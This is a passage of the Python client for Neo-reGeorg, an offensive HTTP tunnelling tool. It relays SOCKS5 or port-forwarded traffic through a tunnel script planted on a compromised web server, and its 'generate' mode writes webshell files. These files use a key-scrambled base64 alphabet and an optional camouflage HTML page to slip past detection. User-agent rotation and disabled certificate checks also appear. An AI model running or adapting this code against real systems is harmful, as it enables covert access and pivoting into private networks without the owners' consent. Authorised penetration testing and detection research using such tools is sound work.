host, port = self.fwd_target.split(':', 1) 405 | mark = self.setupRemoteSession(host, int(port)) 406 | return bool(mark) 407 | 408 | 409 | def neoreg_request(self, info, timeout=None): 410 | if self.redirectURL: 411 | info['REDIRECTURL'] = self.redirectURL 412 | if self.force_redirect: 413 | info['FORCEREDIRECT'] = 'TRUE' 414 | else: 415 | info['FORCEREDIRECT'] = 'FALSE' 416 | 417 | data = encode_body(info) 418 | log.debug("[HTTP] [%s:%d] %s Request (%s)" % (self.target, self.port, info['CMD'], self.mark)) 419 | 420 | retry = 0 421 | while True: 422 | retry += 1 423 | try: 424 | response = self.conn.post(self.url_sample(), headers=HEADERS, timeout=timeout, data=data) 425 | second = response.elapsed.total_seconds() 426 | log.debug("[HTTP] [%s:%d] %s Response (%s) => HttpCode: %d, Time: %.2fs" % (self.target, self.port, info['CMD'], self.mark, response.status_code, second)) 427 | 428 | rdata = extract_body(response.content) 429 | rinfo = decode_body(rdata) 430 | if rinfo is None: 431 | raise NeoregReponseFormatError("[HTTP] Response Format Error: {}".format(response.content)) 432 | else: 433 | if rinfo['STATUS'] != 'OK' and info['CMD'] != 'DISCONNECT': 434 | log.warning('[%s] [%s:%d] Error: %s' % (info['CMD'], self.target, self.port, rinfo['ERROR'])) 435 | return rinfo 436 | 437 | # 高并发下,csharp 容易出现 503, 重试即可 438 | log.warning("[HTTP] [%s:%d] [ReTry %d] %s Request (%s) => HttpCode: %d" % (self.target, self.port, retry, info['CMD'], self.mark, response.status_code)) 439 | 440 | except requests.exceptions.ConnectionError as e: 441 | log.warning('[HTTP] [{}] [requests.exceptions.ConnectionError] {}'.format(info['CMD'], e)) 442 | except requests.exceptions.ChunkedEncodingError as e: # python2 requests error 443 | log.warning('[HTTP] [{}] [requests.exceptions.ChunkedEncodingError] {}'.format(info['CMD'], e)) 444 | except NeoregReponseFormatError as e: # python2 requests error 445 | log.warning("[%s] [%s:%d] NeoregReponseFormatError, Retry: No.%d" % (info['CMD'], self.target, self.port, retry)) 446 | if retry > MAXRETRY: 447 | raise e 448 | 449 | 450 | def setupRemoteSession(self, target, port): 451 | self.mark = self.session_mark() 452 | self.target = target.encode() 453 | self.port = port 454 | 455 | info = {'CMD': 'CONNECT', 'MARK': self.mark, 'IP': self.target, 'PORT': str(self.port)} 456 | 457 | if '.php' in self.connectURLs[0]: 458 | try: 459 | rinfo = self.neoreg_request(info, timeout=PHPTIMEOUT) 460 | except: 461 | log.info("[CONNECT] [%s:%d] Session mark (%s)" % (self.target, self.port, self.mark)) 462 | return self.mark 463 | else: 464 | rinfo = self.neoreg_request(info) 465 | 466 | status = rinfo["STATUS"] 467 | if status == "OK": 468 | log.info("[CONNECT] [%s:%d] Session mark: %s" % (self.target, self.port, self.mark)) 469 | return self.mark 470 | else: 471 | return False 472 | 473 | 474 | def closeRemoteSession(self): 475 | if not self.connect_closed: 476 | self.connect_closed = True 477 | try: 478 | self.pSocket.close() 479 | log.debug("[DISCONNECT] [%s:%d] Closing localsocket" % (self.target, self.port)) 480 | except: 481 | if hasattr(self, 'target'): 482 | log.debug("[DISCONNECT] [%s:%d] Localsocket already closed" % (self.target, self.port)) 483 | 484 | if hasattr(self, 'mark'): 485 | info = {'CMD': 'DISCONNECT', 'MARK': self.mark} 486 | rinfo = self.neoreg_request(info) 487 | if not self.connect_closed: 488 | if hasattr(self, 'target'): 489 | log.info("[DISCONNECT] [%s:%d] Connection Terminated" % (self.target, self.port)) 490 | else: 491 | log.error("[DISCONNECT] Connection Terminated") 492 | 493 | 494 | def reader(self): 495 | try: 496 | info = {'CMD': 'READ', 'MARK': self.mark} 497 | n = 0 498 | while True: 499 | try: 500 | if self.connect_closed or self.pSocket.fileno() == -1: 501 | break 502 | rinfo = self.neoreg_request(info) 503 | if rinfo['STATUS'] == 'OK': 504 | data = rinfo['DATA'] 505 | data_len = len(data) 506 | 507 | if data_len == 0: 508 | sleep(READINTERVAL) 509 | elif data_len > 0: 510 | n += 1 511 | transferLog.info("[%s:%d] [%s] No.%d <<<< [%d byte]" % (self.target, self.port, self.mark, n, data_len)) 512 | while data: 513 | writed_size = self.pSocket.send(data) 514 | data = data[writed_size:] 515 | if data_len < 500: 516 | sleep(READINTERVAL) 517 | else: 518 | break 519 | 520 | except error: # python2 socket.send error 521 | pass 522 | except Exception as ex: 523 | log.exception(ex) 524 | break 525 | finally: 526 | self.closeRemoteSession() 527 | 528 | 529 | def writer(self): 530 | try: 531 | info = {'CMD': 'FORWARD', 'MARK': self.mark} 532 | n = 0 533 | while True: 534 | try: 535 | raw_data = self.pSocket.recv(READBUFSIZE) 536 | if not raw_data: 537 | break 538 | info['DATA'] = raw_data 539 | rinfo = self.neoreg_request(info) 540 | if rinfo['STATUS'] != "OK": 541 | break 542 | n += 1 543 | transferLog.info("[%s:%d] [%s] No.%d >>>> [%d byte]" % (self.target, self.port, self.mark, n, len(raw_data))) 544 | if len(raw_data) < READBUFSIZE: 545 | sleep(WRITEINTERVAL) 546 | except timeout: 547 | continue 548 | except error: 549 | break 550 | except OSError: 551 | break 552 | except Exception as ex: 553 | log.exception(ex) 554 | break 555 | finally: 556 | self.closeRemoteSession() 557 | 558 | 559 | def run(self): 560 | try: 561 | if self.fwd_target: 562 | self.session_connected = self.handleFwd(self.pSocket) 563 | else: 564 | self.session_connected = self.handleSocks(self.pSocket) 565 | 566 | if self.session_connected: 567 | r = Thread(target=self.reader) 568 | w = Thread(target=self.writer) 569 | r.start() 570 | w.start() 571 | r.join() 572 | w.join() 573 | except NeoregReponseFormatError as ex: 574 | log.error('[HTTP] [NeoregReponseFormatError] {}'.format(ex)) 575 | except SocksCmdNotImplemented as ex: 576 | log.error('[SOCKS5] [SocksCmdNotImplemented] {}'.format(ex)) 577 | except requests.exceptions.ConnectionError as ex: 578 | log.warning('[HTTP] [requests.exceptions.ConnectionError] {}'.format(ex)) 579 | except Exception as ex: 580 | log.exception(ex) 581 | finally: 582 | if self.session_connected: 583 | self.closeRemoteSession() 584 | 585 | 586 | def askNeoGeorg(conn, connectURLs, redirectURLs, force_redirect): 587 | # only check first 588 | log.info("[Ask NeoGeorg] Checking if NeoGeorg is ready") 589 | headers = {} 590 | headers.update(HEADERS) 591 | 592 | if INIT_COOKIE: 593 | headers['Cookie'] = INIT_COOKIE 594 | 595 | need_exit = False 596 | try: 597 | log.debug("[HTTP] Ask NeoGeorg Request".format()) 598 | if redirectURLs: 599 | info = {'REDIRECTURL': redirectURLs[0]} 600 | if force_redirect: 601 | info['FORCEREDIRECT'] = 'TRUE' 602 | else: 603 | info['FORCEREDIRECT'] = 'FALSE' 604 | data = encode_body(info) 605 | headers.update({'Content-type': 'application/octet-stream'}) 606 | response = conn.post(connectURLs[0], headers=headers, timeout=10, data=data) 607 | else: 608 | response = conn.get(connectURLs[0], headers=headers, timeout=10) 609 | log.debug("[HTTP] Ask NeoGeorg Response => HttpCode: {}".format(response.status_code)) 610 | if '.php' in connectURLs[0]: 611 | if 'Expires' in response.headers: 612 | expires = response.headers['Expires'] 613 | try: 614 | expires_date = datetime.strptime(expires, '%a, %d %b %Y %H:%M:%S %Z') 615 | if mktime(expires_date.timetuple()) < time(): 616 | log.warning('[Ask NeoGeorg] Server Session expired') 617 | if 'Set-Cookie' in response.headers: 618 | cookie = '' 619 | for k, v in response.cookies.items(): 620 | cookie += '{}={};'.format(k, v) 621 | HEADERS.update({'Cookie' : cookie}) 622 | log.warning("[Ask NeoGeorg] Automatically append Cookies: {}".format(cookie)) 623 | else: 624 | log.error('[Ask NeoGeorg] There is no valid cookie return') 625 | need_exit = True 626 | except ValueError: 627 | log.warning('[Ask NeoGeorg] Expires wrong format: {}'.format(expires)) 628 | except requests.exceptions.ConnectionError: 629 | log.error("[Ask NeoGeorg] NeoGeorg server connection errer") 630 | exit() 631 | except requests.exceptions.ConnectTimeout: 632 | log.error("[Ask NeoGeorg] NeoGeorg server connection timeout") 633 | exit() 634 | except Exception as ex: 635 | log.error("[Ask NeoGeorg] NeoGeorg is not ready, please check URL") 636 | log.exception(ex) 637 | exit() 638 | 639 | if need_exit: 640 | exit() 641 | 642 | if redirectURLs and response.status_code >= 400: 643 | log.warning('[Ask NeoGeorg] Using redirection will affect performance when the response code >= 400') 644 | 645 | data = response.content 646 | data = extract_body(data) 647 | 648 | if BASICCHECKSTRING == data.strip(): 649 | log.info("[Ask NeoGeorg] NeoGeorg says, 'All seems fine'") 650 | return True 651 | elif BASICCHECKSTRING in data: 652 | left_offset = data.index(BASICCHECKSTRING) 653 | right_offset = len(data) - ( left_offset + len(BASICCHECKSTRING) ) 654 | log.error("[Ask NeoGeorg] NeoGeorg is ready, but the body needs to be offset") 655 | args_tips = '' 656 | if left_offset: 657 | args_tips += ' --cut-left {}'.format(left_offset) 658 | if right_offset: 659 | args_tips += ' --cut-right {}'.format(right_offset) 660 | log.error("[Ask NeoGeorg] You can set the `{}` parameter to body offset".format(args_tips)) 661 | exit() 662 | else: 663 | if args.skip: 664 | log.debug("[Ask NeoGeorg] Ignore detecting that NeoGeorg is ready") 665 | 666 | else: 667 | log.warning('[Ask NeoGeorg] Expect Response: {}'.format(BASICCHECKSTRING[0:100])) 668 | log.warning('[Ask NeoGeorg] Real Response: {}'.format(data.strip()[0:100])) 669 | log.error("[Ask NeoGeorg] NeoGeorg is not ready, please check URL and KEY. rep: [{}] {}".format(response.status_code, response.reason)) 670 | log.error("[Ask NeoGeorg] You can set the `--skip` parameter to ignore errors") 671 | exit() 672 | 673 | 674 | def extract_body(data): 675 | if args.cut_left > 0: 676 | data = data[args.cut_left:] 677 | if args.cut_right > 0: 678 | data = data[:-args.cut_right] 679 | if args.extract: 680 | match = EXTRACT_EXPR.search(data.decode()) 681 | if match: 682 | data = match[1].encode() 683 | return data 684 | 685 | 686 | def choice_useragent(): 687 | user_agents = [ 688 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3", 689 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.7.12 (KHTML, like Gecko) Version/7.1.7 Safari/537.85.16", 690 | "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36", 691 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0", 692 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36", 693 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/600.7.11 (KHTML, like Gecko) Version/8.0.7 Safari/600.7.11", 694 | "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0", 695 | "Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0", 696 | "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0", 697 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:38.0) Gecko/20100101 Firefox/38.0" 698 | ] 699 | return random.choice(user_agents) 700 | 701 | 702 | 703 | banner = r""" 704 | 705 | "$$$$$$'' 'M$ '$$$@m 706 | :$$$$$$$$$$$$$$''$$$$' 707 | '$' 'JZI'$$& $$$$' 708 | '$$$ '$$$$ 709 | $$$$ J$$$$' 710 | m$$$$ $$$$, 711 | $$$$@ '$$$$_ Neo-reGeorg 712 | '1t$$$$' '$$$$< 713 | '$$$$$$$$$$' $$$$ version {} 714 | '@$$$$' $$$$' 715 | '$$$$ '$$$@ 716 | 'z$$$$$$ @$$$ 717 | r$$$ $$| 718 | '$$v c$$ 719 | '$$v $$v$$$$$$$$$# 720 | $$x$$$$$$$$$twelve$$$@$' 721 | @$$$@L ' '<@$$$$$$$$` 722 | $$ '$$$ 723 | 724 | 725 | [ Github ] https://github.com/L-codes/Neo-reGeorg 726 | """.format(__version__) 727 | 728 | use_examples = r""" 729 | [ Basic Use ] 730 | 731 | ./neoreg.py generate -k 732 | ./neoreg.py -k -u 733 | 734 | [ Advanced Use ] 735 | 736 | ./neoreg.py generate -k --file 404.html 737 | ./neoreg.py -k -u \ 738 | --skip --proxy http://127.0.0.1:8080 -vv \ 739 | -H 'Authorization: cm9vdDppcyB0d2VsdmU=' 740 | 741 | """ 742 | 743 | if __name__ == '__main__': 744 | if len(sys.argv) == 1: 745 | print(banner) 746 | print(use_examples) 747 | exit() 748 | elif len(sys.argv) > 1 and sys.argv[1] == 'generate': 749 | del sys.argv[1] 750 | parser = argparse.ArgumentParser(description='Generate neoreg webshell') 751 | parser.add_argument("-k", "--key", metavar="KEY", required=True, help="Specify connection key.") 752 | parser.add_argument("-o", "--outdir", metavar="DIR", help="Output directory.", default='neoreg_servers') 753 | parser.add_argument("-f", "--file", metavar="FILE", help="Camouflage html page file") 754 | parser.add_argument("-c", "--httpcode", metavar="CODE", help="Specify HTTP response code. When using -r, it is recommended to <400 (default: 200)", type=int, default=200) 755 | parser.add_argument("--read-buff", metavar="Bytes", help="Remote read buffer (default: 513)", type=int, default=513) 756 | parser.add_argument("--max-read-size", metavar="KB", help="Remote max read size (default: 512)", type=int, default=512) 757 | args = parser.parse_args() 758 | else: 759 | parser = argparse.ArgumentParser(description="Socks server for Neoreg HTTP(s) tunneller (DEBUG MODE: -k debug)") 760 | parser.add_argument("-u", "--url", metavar="URI", required=True, help="The url containing the tunnel script", action='append') 761 | parser.add_argument("-r", "--redirect-url", metavar="URL", help="Intranet forwarding the designated server (only jsp(x))", action='append') 762 | parser.add_argument("-R", "--force-redirect", help="Forced forwarding (only jsp -r)", action='store_true') 763 | parser.add_argument("-t", "--target", metavar="IP:PORT", help="Network forwarding Target, After setting this parameter, port forwarding will be enabled") 764 | parser.add_argument("-k", "--key", metavar="KEY", required=True, help="Specify connection key") 765 | parser.add_argument("-l", "--listen-on", metavar="IP", help="The default listening address (default: 127.0.0.1)", default="127.0.0.1") 766 | parser.add_argument("-p", "--listen-port", metavar="PORT", help="The default listening port (default: 1080)", type=int, default=1080) 767 | parser.add_argument("-s", "--skip", help="Skip usability testing", action='store_true') 768 | parser.add_argument("-H", "--header", metavar="LINE", help="Pass custom header LINE to server", action='append', default=[]) 769 | parser.add_argument("-c", "--cookie", metavar="LINE", help="Custom init cookies") 770 | parser.add_argument("-x", "--proxy", metavar="LINE", help="Proto://host[:port] Use proxy on given port", default=None) 771 | parser.add_argument("--php-connect-timeout", metavar="S", help="PHP connect timeout (default: {})".format(PHPTIMEOUT), type=float, default=PHPTIMEOUT) 772 | parser.add_argument("--local-dns", help="Use local resolution DNS", action='store_true') 773 | parser.add_argument("--read-buff", metavar="KB", help="Local read buffer, max data to be sent per POST (default: {}, max: 50)".format(READBUFSIZE), type=int, default=READBUFSIZE) 774 | parser.add_argument("--read-interval", metavar="MS", help="Read data interval in milliseconds (default: {})".format(READINTERVAL), type=int, default=READINTERVAL) 775 | parser.add_argument("--write-interval", metavar="MS", help="Write data interval in milliseconds (default: {})".format(WRITEINTERVAL), type=int, default=WRITEINTERVAL) 776 | parser.add_argument("--max-threads", metavar="N", help="Proxy max threads (default: {})".format(MAXTHERADS), type=int, default=MAXTHERADS) 777 | parser.add_argument("--max-retry", metavar="N", help="Proxy max threads (default: {})".format(MAXRETRY), type=int, default=MAXRETRY) 778 | parser.add_argument("--cut-left", metavar="N", help="Truncate the left side of the response body", type=int, default=0) 779 | parser.add_argument("--cut-right", metavar="N", help="Truncate the right side of the response body", type=int, default=0) 780 | parser.add_argument("--extract", metavar="EXPR", help="Manually extract BODY content (eg:

NEOREGBODY

)") 781 | parser.add_argument("-v", help="Increase verbosity level (use -vv or more for greater effect)", action='count', default=0) 782 | args = parser.parse_args() 783 | 784 | if args.extract: 785 | if 'NEOREGBODY' not in args.extract: 786 | print('[!] Error extracting expression, `NEOREGBODY` not found') 787 | exit() 788 | else: 789 | expr = re.sub('NEOREGBODY', r'\\s*([A-Za-z0-9+/]*(?:=|==)?|)\\s*', re.escape(args.extract)) 790 | EXTRACT_EXPR = re.compile(expr, re.S) 791 | 792 | rand = Rand(args.key) 793 | BLV_L_OFFSET = random.getrandbits(31) 794 | 795 | BASE64CHARS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' 796 | if args.key == 'debug': 797 | M_BASE64CHARS = BASE64CHARS 798 | else: 799 | M_BASE64CHARS = list(BASE64CHARS) 800 | rand.base64_chars(M_BASE64CHARS) 801 | M_BASE64CHARS = ''.join(M_BASE64CHARS) 802 | 803 | if ispython3: 804 | maketrans = str.maketrans 805 | else: 806 | from string import maketrans 807 | 808 | EncodeMap = maketrans(BASE64CHARS, M_BASE64CHARS) 809 | DecodeMap = maketrans(M_BASE64CHARS, BASE64CHARS) 810 | 811 | BASICCHECKSTRING = ('').encode() 812 | 813 | if 'url' in args: 814 | # neoreg connect 815 | if args.v > 3: 816 | args.v = 3 817 | 818 | LOCALDNS = args.local_dns 819 | 820 | LEVELNAME, LEVELLOG = LEVEL[args.v] 821 | log.setLevel(LEVELLOG) 822 | transferLog.setLevel(LEVELLOG) 823 | separation = "+" + "-" * 72 + "+" 824 | print(banner) 825 | print(separation) 826 | print(" Log Level set to [%s]" % LEVELNAME) 827 | 828 | USERAGENT = choice_useragent() 829 | PHPTIMEOUT = args.php_connect_timeout 830 | 831 | urls = args.url 832 | redirect_urls = args.redirect_url 833 | 834 | HEADERS = {} 835 | for header in args.header: 836 | if ':' in header: 837 | key, value = header.split(':', 1) 838 | HEADERS[key.strip()] = value.strip() 839 | else: 840 | print("\nError parameter: -H %s" % header) 841 | exit() 842 | 843 | INIT_COOKIE = args.cookie 844 | PROXY = { 'http': args.proxy, 'https': args.proxy } if args.proxy else None 845 | 846 | if args.target: 847 | if not re.match(r'[^:]+:\d+', args.target): 848 | print("[!] Target parameter error: {}".format(args.target)) 849 | exit() 850 | print(" Starting Forward [%s:%d] => [%s]" % (args.listen_on, args.listen_port, args.target)) 851 | else: 852 | print(" Starting SOCKS5 server [%s:%d]" % (args.listen_on, args.listen_port)) 853 | 854 | 855 | print(" Tunnel at:") 856 | for url in urls: 857 | print(" "+url) 858 | 859 | if args.proxy: 860 | print(" Client Proxy:\n "+ args.proxy) 861 | 862 | if redirect_urls: 863 | print(" Redirect to:") 864 | for url in args.redirect_url: 865 | print(" "+url) 866 | 867 | print(separation) 868 | try: 869 | conn = requests.Session() 870 | conn.proxies = PROXY 871 | conn.verify = False 872 | conn.headers['Accept-Encoding'] = 'gzip, deflate' 873 | conn.headers['User-Agent'] = USERAGENT 874 | 875 | servSock_start = False 876 | askNeoGeorg(conn, urls, redirect_urls, args.force_redirect) 877 | 878 | if 'Content-type' not in HEADERS: 879 | HEADERS['Content-type'] = 'application/octet-stream' 880 | 881 | READBUFSIZE = min(args.read_buff, 50) * 1024 882 | MAXTHERADS = args.max_threads 883 | MAXRETRY = args.max_retry 884 | READINTERVAL = args.read_interval / 1000.0 885 | WRITEINTERVAL = args.write_interval / 1000.0 886 | 887 | try: 888 | servSock = socket(AF_INET, SOCK_STREAM) 889 | servSock_start = True 890 | servSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) 891 | servSock.bind((args.listen_on, args.listen_port)) 892 | servSock.listen(MAXTHERADS) 893 | except Exception as e: 894 | log.error("[Server Listen] {}".format(e)) 895 | exit() 896 | 897 | while True: 898 | try: 899 | sock, addr_info = servSock.accept() 900 | sock.settimeout(SOCKTIMEOUT) 901 | session(conn, sock, urls, redirect_urls, args.target, args.force_redirect).start() 902 | except KeyboardInterrupt as ex: 903 | break 904 | except timeout: 905 | log.error("[SOCKS5] Connect Timeout from {}:{}".format(addr_info[0], addr_info[1])) 906 | if sock: 907 | sock.close() 908 | except OSError: 909 | if sock: 910 | sock.close() 911 | except error: 912 | pass 913 | except Exception as ex: 914 | log.exception(ex) 915 | raise e 916 | except requests.exceptions.ProxyError: 917 | log.error("[HTTP] Unable to connect proxy: %s" % args.proxy) 918 | except requests.exceptions.ConnectionError: 919 | log.error("[HTTP] Can not connect to the web server") 920 | finally: 921 | if servSock_start: 922 | servSock.close() 923 | else: 924 | # neoreg server generate 925 | print(banner) 926 | READBUF = args.read_buff 927 | MAXREADSIZE = args.max_read_size * 1024 928 | outdir = args.outdir 929 | if not os.path.isdir(outdir): 930 | os.mkdir(outdir) 931 | print(' [+] Mkdir a directory: %s' % outdir) 932 | 933 | keyfile = os.path.join(outdir, 'key.txt') 934 | file_write(keyfile, args.key) 935 | 936 | M_BASE64ARRAY = [] 937 | for i in range(128): 938 | if chr(i) in BASE64CHARS: 939 | num = M_BASE64CHARS.index(chr(i)) 940 | M_BASE64ARRAY.append(num) 941 | else: 942 | M_BASE64ARRAY.append(-1) 943 | 944 | script_dir = os.path.join(ROOT, 'templates') 945 | print(" [+] Create neoreg server files:") 946 | 947 | if args.file: 948 | http_get_content = file_read(args.file) 949 | else: 950 | http_get_content = BASICCHECKSTRING.decode() 951 | 952 | if ispython3: 953 | http_get_content = http_get_content.encode() 954 | neoreg_hello = base64.b64encode(http_get_content) 955 | if ispython3: 956 | neoreg_hello = neoreg_hello.decode() 957 | neoreg_hello = neoreg_hello.translate(EncodeMap) 958 | 959 | for filename in os.listdir(script_dir): 960 | outfile = os.path.join(outdir, filename) 961 | filepath = os.path.join(script_dir, filename) 962 | if os.path.isfile(filepath) and filename.startswith('tunnel.'): 963 | text = file_read(filepath) 964 | text = text.replace(r"NEO, 'All OK'", neoreg_hello) 965 | text = re.sub(r"BASE64 CHARSLIST", M_BASE64CHARS, text) 966 | text = re.sub(r"\bHTTPCODE\b", str(args.httpcode), text) 967 | text = re.sub(r"\bREADBUF\b", str(READBUF), text) 968 | text = re.sub(r"\bMAXREADSIZE\b", str(MAXREADSIZE), text) 969 | 970 | # fix subn bug 971 | text = re.sub(r"\bBLV_L_OFFSET\b", str(BLV_L_OFFSET), text) 972 | text = re.sub(r"\bBLV_L_OFFSET\b", str(BLV_L_OFFSET), text) 973 | 974 | # only jsp/csharp 975 | text = re.sub(r"\bBLVHEAD_LEN\b", str(BLVHEAD_LEN), text) 976 | 977 | # only jsp 978 | text = re.sub(r"BASE64 ARRAYLIST", ','.join(map(str, M_BASE64ARRAY)), text) 979 | 980 | file_write(outfile, text) 981 | print(" => %s/%s" % (outdir, os.path.basename(outfile))) 982 | 983 | print('') 984 | -------------------------------------------------------------------------------- /templates/tunnel.aspx: -------------------------------------------------------------------------------- 1 | 0 --------------------------------------------------------------------------------